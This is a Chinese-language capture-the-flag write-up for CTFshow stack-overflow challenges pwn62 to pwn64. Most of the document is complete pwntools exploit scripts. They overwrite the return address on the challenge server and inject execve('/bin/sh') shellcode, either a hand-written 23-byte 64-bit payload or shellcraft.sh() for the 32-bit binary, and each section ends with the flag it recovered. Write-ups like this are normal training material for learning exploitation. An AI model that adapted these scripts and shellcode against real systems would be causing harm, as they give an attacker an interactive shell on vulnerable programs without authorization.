CTFshow-PWN-栈溢出(pwn62-pwn64)
1、pwn62
检查:64 位程序,没有 canary 保护,开启 PIE保护
和前一个几乎一样,只是读入使用的是 read
这种也没法将 shellcode 完全写到 buf
老规矩我们还是写到后面
这里最多允许读入 0x38
buf 大小为 0x10,加上 rbp 8,以及返回地址 8
那么我们的 shellcode 需要控制在
0x38-0x10-8-8 = 0x18
也就是 24 字节内
exp:
# @author:My6n
# @time:20250710
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28231)
offset = 0x10+8
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil('this : [')
buf_addr = int(io.recv(14),16)
print(hex(buf_addr))
payload = cyclic(offset) + p64(buf_addr+0x20) + shellcode
io.sendline(payload)
io.interactive()
拿到 flag:ctfshow{b417fcfa-3212-4b9f-8fad-db85f30dce82}
2、pwn63
shellcode 继续缩短了一字节
上一题 exp 可用,我们这个刚好 23字节
# @author:My6n
# @time:20250710
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28231)
offset = 0x10+8
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil('this : [')
buf_addr = int(io.recv(14),16)
print(hex(buf_addr))
payload = cyclic(offset) + p64(buf_addr+0x20) + shellcode
io.sendline(payload)
io.interactive()
拿到 flag:ctfshow{c78ffddf-3cf7-4785-a000-33d67cfadc5e}
当然其实还可以更短
3、pwn64
32 位程序,开启 NX 保护
buf 直接给了可读可写可执行权限
后面还当成函数执行
结合题目暗示
有时候开启某种保护并不代表这条路不通
那么直接写 shellcode 进去
exp:
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28123)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
拿到 flag:ctfshow{0d297fbf-f117-4941-8d2c-dfe6aea7f81d}